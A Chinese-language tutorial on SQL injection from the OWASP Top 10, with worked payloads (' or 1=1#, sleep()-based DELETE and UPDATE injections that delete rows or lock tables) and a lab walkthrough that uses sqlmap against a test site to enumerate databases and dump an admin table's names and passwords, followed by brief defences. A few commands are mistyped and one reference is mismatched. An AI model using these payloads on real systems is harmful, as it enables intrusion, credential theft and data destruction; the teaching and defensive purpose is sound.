【OWASP TOP 10】TOP1-注入 详解与进攻实验

title

描述

注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能在SQL查询、LDAP查询、OS命令、程序参数等中出现。

危害

注入能导致数据丢失或数据破坏、缺乏可审计性或是拒绝服务。注入漏洞有时甚至能导致完全接管主机。

两种简单SQL语句漏洞

一、没有对用户输入的数据进行处理就直接拿去执行

"select * from users where username='$name' and password='$pwd'"
这种我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,这是一种致命的错误。

比如:在用户名输入框中输入:’ or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:

select * from users where username='' or 1=1#' and password=md5('')

语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:

select * from users where username='' or 1=1#' and password=md5('')

select * from users where username='' or 1=1

因为1=1永远是都是成立的,即where子句总是为真,将该sql进一步简化之后,等价于如下select语句:

select * from users

没错,该sql语句的作用是检索users表中的所有字段 。


二、通过sleep函数执行sql注入攻击

MySQL中sleep(n)让语句停留n秒时间,然后返回0,若命令被中断,则返回1。

因此,可以认为在通常情况下sleep函数返回值为恒为0,可以借助sleep(n)=0的永真性执行sql注入。

例如,原本想删除test表中id=2的条目,但是通过sleep可以删除任意数据:

delete from test where id=2 or sleep(10)=0 limit 1--

上述命令可以绕过id的限制,删除任意数据,由于在后面加了limit 1,限制只删除一条指令,因此,上述指令将删除数据库中的第一条数据。

例如,注入语句

update test_inj set xx=1 and sleep(9999999999);
mysql> select * from test_inj;

请求会被阻塞。直到手动杀死那个锁表的语句。

进攻实验

第一步 手工检测判断注入点

首先打开我们目标站点www.test.com找注入点,打开文章中心随便点一篇文章,页面地址为
http://www.test.com/Art_Show.php?id=2
首先在id=2后面加一个单引号来判断这是否是一个注入点,返回了一个错误提示更新点击数出现错误!。

输入点之后出现错误

这里可以看见url里有一个id=2,可以根据这个判断他是由get请求进行提交的,因为通过get请求提交的,提交的数据会在url里进行体现,而这个也是我们可以利用的地方。

现在替换一个注入查询语句换成 and 1=1,页面并没有出现变化,再换成 and 1=2。

输入1=2之后出现错误

这里出现了一个错误提示,更新点击数出现错误,这样说明我们输入的and 1=1 和and 1=2在数据库内执行了,因为and 1=1这条查询语句就永为真,它就会继续执行,and 1=2 这条语句就为假,查询语句无法继续执行,就会返回错误,这样我们就可以初步判断这个url地址是一个注入点。

第二步 利用sqlmap对注入点进行注入

首先打开cmd输入下面这行代码来判断这个注入点是否可以注入并进行注入:
python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2"
注入点信息

返回信息提示这是一个注入点并且返回对方系统的信息,系统是windows,Web容器是apache2.4.9版本,语言php5.3.28版本,目标数据库是mysql5.0.11版本。

第三步 获取数据库内信息

使用以下命令进行注入测试,获取数据库内所有数据库的名称:

Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" --dbs

数据库内所有数据库的名称

返回信息目标数据库内有四个数据库:

  • information_schema
  • mys
  • mysql
  • performation_schema
  • test

使用以下命令查看网站所依赖的数据库的名称:

Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" --current–db

查看网站所依赖的数据库的名称述

返回信息依赖的数据库为mys。

使用以下命令获取mys数据库内表信息。

Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" -D mys --tables

获取mys数据库内表信息

mys数据库下一共有十四个表,使用命令获取zzcms_admin表内列的信息。

Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" -D mys --tables

使用命令获取zzcms_admin表内列的信息

使用以下命令对这name和password两个列进行查询并获取KEY。

Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump

使用以下命令对这name和password两个列进行查询并获取KEY

第四步 防御方案

  1. 普通用户与系统管理员的权限要有严格的区分
  2. 强迫使用参数化语句
  3. 加强对用户输入的验证
  4. 多使用数据库自带的安全参数
  5. 使用专业的漏洞扫描工具来寻找可能被攻击的点

参考来源:

  • OWASP Top 10-2013 on Insecure Dir Object References
  • i春秋